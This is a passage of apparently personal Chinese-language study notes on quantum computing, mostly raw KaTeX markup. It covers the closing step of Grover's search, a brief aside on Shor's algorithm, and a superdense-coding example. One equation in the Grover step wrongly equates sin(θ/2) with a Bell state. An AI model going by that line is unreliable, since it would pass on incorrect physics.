class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0359em;">ψ</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop">cos</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="mop">sin</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord mathnormal" style="margin-right:0.0528em;">β</span><span class="mclose">⟩</span></span></span></span></span></p><p>我們目標是讓操作完的量子態接近 y 軸，即</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mrow><mn>2</mn><mi>k</mi><mo>+</mo><mn>1</mn></mrow><mn>2</mn></mfrac><mi>θ</mi><mo>≈</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="application/x-tex">\frac{2k+1}{2}\theta \approx \frac{\pi}{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">π</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>當資料量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>N</mi></mrow><annotation encoding="application/x-tex">N</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span></span> 很大時，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>θ</mi></mrow><annotation encoding="application/x-tex">\theta</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span></span></span></span> 會很小，因此</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mi>θ</mi><mn>2</mn></mfrac><mo>≈</mo><mi>sin</mi><mo>⁡</mo><mfrac><mi>θ</mi><mn>2</mn></mfrac><mo>=</mo><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{\theta}{2} \approx \sin{\frac{\theta}{2}} = \frac{1}{\sqrt2}\left(\vert{}00\rangle+\vert{}11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0574em;vertical-align:-0.686em;"></span><span class="mop">sin</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">2</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0278em;">θ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>故可得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>k</mi><mo>≈</mo><mfrac><mi>π</mi><mn>4</mn></mfrac><msqrt><mi>N</mi></msqrt><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><msqrt><mi>N</mi></msqrt><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">k \approx \frac{\pi}{4}\sqrt{N} = O(\sqrt{N})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.7936em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1076em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">4</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">π</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9755em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span><span style="top:-2.9355em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.0645em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2255em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9755em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal" style="margin-right:0.109em;">N</span></span></span><span style="top:-2.9355em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.0645em;"><span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><h2 id="shor-algorithm" tabindex="-1" id="Shor-algorithm">Shor algorithm</h2><p>好可惜喔這上課沒講，改天來研究看看，但我可能要先去把傅立葉轉換那 part 補起來XD。</p><h1 id="%E9%87%8F%E5%AD%90%E9%80%9A%E8%A8%8A" tabindex="-1">量子通訊</h1><h2 id="superdense-coding" tabindex="-1" id="Superdense-coding">Superdense coding</h2><p>可以用一個量子位元傳遞兩個古典位元的資訊。ㄟ而且這已經被實驗驗證了。</p><p><img src="superdense_coding.jpg" alt="superdense_coding.jpg"></p><p>用一個例子來示範就好，其他可以自己試。比如 Alice 今天要傳「01」</p><p>第一個 bit 是 1，所以他要執行 Z，第二個 bit 是 0，所以什麼事都不用做。<br>這樣 Alice 做完會是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>H</mi><msub><mi>q</mi><mn>0</mn></msub></msub></mpadded></mover><mtext> </mtext><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><mrow><mi>C</mi><mi>N</mi><mi>O</mi><mi>T</mi></mrow></mpadded></mover><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow><mover><mo stretchy="true" minsize="3.0em">→</mo><mpadded width="+0.6em" lspace="0.3em"><msub><mi>Z</mi><msub><mi>q</mi><mn>0</mn></msub></msub></mpadded></mover><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>00</mn><mo stretchy="false">⟩</mo><mo>−</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>11</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\vert{} 00 \rangle \xrightarrow{H_{q_0}}\space\xrightarrow{CNOT} \frac{1}{\sqrt2}\left(\vert{}00\rangle+\vert{}11\rangle\right) \xrightarrow{Z_{q_0}} \frac{1}{\sqrt2}\left(\vert{}00\rangle-\vert{}11\rangle\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.3503em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0813em;">H</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0813em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">0</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace"> </span></span><span class="base"><span class="strut" style="height:1.1113em;vertical-align:-0.011em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">C</span><span class="mord mathnormal mtight" style="margin-right:0.109em;">N</span><span class="mord mathnormal mtight" style="margin-right:0.0278em;">O</span><span class="mord mathnormal mtight" style="margin-right:0.1389em;">T</span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">00</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">11</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel x-arrow"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.1003em;"><span style="top:-3.322em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight x-arrow-pad"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0715em;">Z</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:-0.0715em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3448em;margin-left:-0.0359em;margin-right:0.1em;"><span class="pstrut" style="height:2.6444em;"></span><span class="mord mtight">0</span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2996em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.357em;"><span></span></span></span></span></span></span></span></span></span><span class="svg-align" style="top:-2.689em;"><span class="pstrut" style="height:2.7em;"></span><span class="hide-tail" style="height:0.522em;min-width:1.469em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="0.522em" viewBox="0 0 400000 522" preserveAspectRatio="xMaxYMin slice"><path d="M0 241v40h399891c-47.3 35.3-84 78-110 128-16.7 32-27.7 63.7-33 95 0 1.3-.2 2.7-.5 4-.3 1.3-.5 2.3-.5 3 0 7.3 6.7 11 20 11 8 0 13.2-.8 15.5-2.5 2.3-1.7 4.2-5.5 5.5-11.5 2-13.3 5.7-27 11-41 14.7-44.7 39-84.5 73-119.5s73.7-60.2 119-75.5c6-2 9-5.7 9-11s-3-9-9-11c-45.3-15.3-85-40.5-119-75.5s-58.3-74.8-73-119.5c-4.7-14-8.3-27.3-11-40-1.3-6.7-3.2-10.8-5.5-12.5-2.3-1.7-7.5-2.5-15.5-2.5-14 0-21 3.7-21 11 0 2 2 10.3 6 25 20.7 83.3 67 151.7 139 205zm0 0v40h399900v-40z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.011em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 